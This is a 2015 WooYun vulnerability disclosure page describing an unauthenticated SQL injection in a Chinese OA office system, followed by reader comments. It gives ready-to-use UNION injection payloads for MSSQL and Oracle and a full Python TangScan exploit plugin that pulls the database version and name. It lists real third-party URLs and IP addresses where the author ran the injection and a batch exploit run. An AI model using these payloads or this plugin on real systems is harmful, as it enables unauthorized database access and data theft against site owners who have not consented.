当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128521

漏洞标题:某OA通用型SQL注入漏洞(为支持TangScan而来)

相关厂商:源天软件

漏洞作者: Coody

提交时间:2015-07-25 00:08

修复时间:2015-10-25 20:52

公开时间:2015-10-25 20:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-25: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-07-30: 细节向第三方安全合作伙伴开放
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

首先. 支持TangScan.com是必须的
其次. 为写插件抛出一枚0day
最后. 夜观天象,貌似要下雨,不知会打雷不~~~

详细说明:

1)通用型SQL注入漏洞
厂商:源天软件
网址:http://www.visionsoft.com.cn/
漏洞链接:ServiceAction/com.velcro.base.DataAction
说明:该oa系统使用mssql和oracle两个类型的数据库。
案例分别给出两种类型的利用poc。
利用POC:

MsSql数据库:
ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select @@version&isworkflow=true


Oracle数据库:
ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select (select banner from sys.v_$version where rownum=1) from dual&isworkflow=true


漏洞证明(直接访问即可):

MsSql部分


A)http://km.best-team.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true
B)http://bms.9square.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true
C)http://oa.jsfuan.com/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true

Oracle部分


D)http://winshare.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select (select banner from sys.v_$version where rownum=1) from dual&isworkflow=true
E)http://oa.mcds.com/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20(select%20banner%20from%20sys.v_$version%20where%20rownum=1)%20from%20dual&isworkflow=true
2)说好的为了支持 TangScan 而来
直接给出编写好的插件代码(本人代码盲,瞎写的,大牛勿喷),等公布时,该插件已经入库 TangScan.com 。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)
See the file 'docs/COPYING' for copying permission
author: fate0 <fate0@wooyun.org>
"""
import re
from thirdparty import requests
from modules.exploit import TSExploit
__all__ = ['TangScan']
class TangScan(TSExploit):
def __init__(self):
super(self.__class__, self).__init__()
self.info = {
"name": "源天软件OA办公系统 sql 注入MSSQL版漏洞(无需登录)",
"product": "源天",
"product_version": "",
"desc": """
OA办公系统 /ServiceAction/com.velcro.base.DataAction 中的 sql 参数存在注入, 将导致敏感数据泄漏
""",
"license": self.license.TS,
"author": ["Coody"],
"ref": [
{self.ref.wooyun: "暂无"},
],
"type": self.type.injection,
"severity": self.severity.high,
"privileged": False,
"disclosure_date": "2015-07-22",
"create_date": "2015-07-23",
}
self.register_option({
"url": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.url_field,
"desc": "目标 url"
}
})
self.register_result({
"status": False,
"data": {
"db_info": {
"version": "",
"current_db": ""
}
},
"description": "",
"error": ""
})
def verify(self):
self.print_debug("verify start")
re_version_pattern = re.compile(r'<data>(.+?)</data>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
exp_url = ("{domain}/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select @@version&isworkflow=true".format(domain=self.option.url))
try:
response = requests.get(exp_url, timeout=15, verify=False)
except Exception, e:
self.result.error = str(e)
return
re_result = re_version_pattern.findall(response.content)
if len(re_result) == 0:
self.result.status = False
return
self.result.status = True
self.result.data.db_info.version = re_result[0]
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
url=self.option.url,
db_version=re_result[0]
)
def exploit(self):
self.print_debug("exploit start")
re_userinfo_pattern = re.compile(r'<data>(.+?)</data>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
exp_url = ("{domain}/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select db_name()&isworkflow=true".format(domain=self.option.url))
try:
response = requests.get(exp_url, timeout=15, verify=False)
except Exception, e:
self.result.error = str(e)
return
re_result = re_userinfo_pattern.findall(response.content)
if len(re_result) == 0:
self.result.status = False
return
self.result.status = True
self.result.data.db_info.current_db = re_result[0]
self.result.description = "目标 {url} 存在sql注入, 数据库名称为: {current_db}".format(
url=self.option.url,
current_db=self.result.data.db_info.current_db
)
if __name__ == '__main__':
from modules.main import main
main(TangScan())


看下执行插件后的结果:

执行 --mode verify (默认)


QQ图片20150722234104.jpg


执行 --mode exploit


QQ图片20150722234219.png


插件运行正常,能够顺利输出数据。。。。。。

到这里本来应该结束了
但是我手贱
给出批量检测网站的脚本测试结果
测试的网站分别是:
http://60.12.113.234:8080/
http://121.14.195.31:8081/
http://218.246.22.194:8080/


测试中,直接执行 --mode exploit ,批量获取数据库名称吧。

QQ图片20150722235025.png


测试完毕,看下结果文件 success.txt 内容

QQ图片20150723000131.jpg


嗯、到这里该结束了···

漏洞证明:

修复方案:

版权声明:转载请注明来源 Coody@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-27 20:50

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商或网站管理单位的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-23 00:12 | 玉林嘎 ( 普通白帽子 | Rank:778 漏洞数:98 )

    为支持Coody而来

  2. 2015-07-23 00:15 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    为支持Coody而来

  3. 2015-07-23 00:15 | boooooom 认证白帽子 ( 普通白帽子 | Rank:467 漏洞数:50 | 我有一个好想法!)

    同学,我跟你说,我好喜欢你哦。

  4. 2015-07-23 00:16 | Coody 认证白帽子 ( 核心白帽子 | Rank:1633 漏洞数:195 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    @xsser 求闪电劈死我吧。。。。哈哈。。。。我好贱。。。。

  5. 2015-07-23 00:23 | _Thorns ( 普通白帽子 | Rank:982 漏洞数:173 | WooYun is the Bigest gay place :))

    为支持Coody而来

  6. 2015-07-23 00:26 | 浮萍 ( 普通白帽子 | Rank:594 漏洞数:122 | 450走起?350ing)

    下雨了 未打雷

  7. 2015-07-23 00:52 | 地瓜 ( 路人 | Rank:16 漏洞数:8 | hacked by Finger)

    干的漂亮

  8. 2015-07-23 08:56 | 高小厨 ( 普通白帽子 | Rank:821 漏洞数:74 | 不会吹牛的小二不是好厨子!)

    为支持Coody而来

  9. 2015-07-23 09:02 | PgHook ( 普通白帽子 | Rank:968 漏洞数:116 | ...........................................)

    为支持Coody而来

  10. 2015-07-23 09:46 | RedFree ( 普通白帽子 | Rank:180 漏洞数:40 | 每个系统都有它自身的弱点,无论是相对的还...)

    为支持Coody而来

  11. 2015-07-23 14:28 | Hello-mary ( 路人 | Rank:2 漏洞数:1 | 一个致力于....)

    其次. 为写插件抛出一枚0day

  12. 2015-07-27 22:19 | Wulala ( 普通白帽子 | Rank:227 漏洞数:24 | ^..^ ^..^ ^↓^ ^..^ ^..^)

    天不刮风,天不下雨,天上有太阳.

  13. 2015-07-28 23:19 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1754 漏洞数:144 | 如果大海能够带走我的矮丑...)

    大贱人,哼

  14. 2015-10-25 20:58 | 保护伞 ( 实习白帽子 | Rank:43 漏洞数:14 | 安全防护研究)

  15. 2015-10-26 14:40 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    插件逻辑很简单嘛没有任何算法可言,就是看正则,验证的准确率。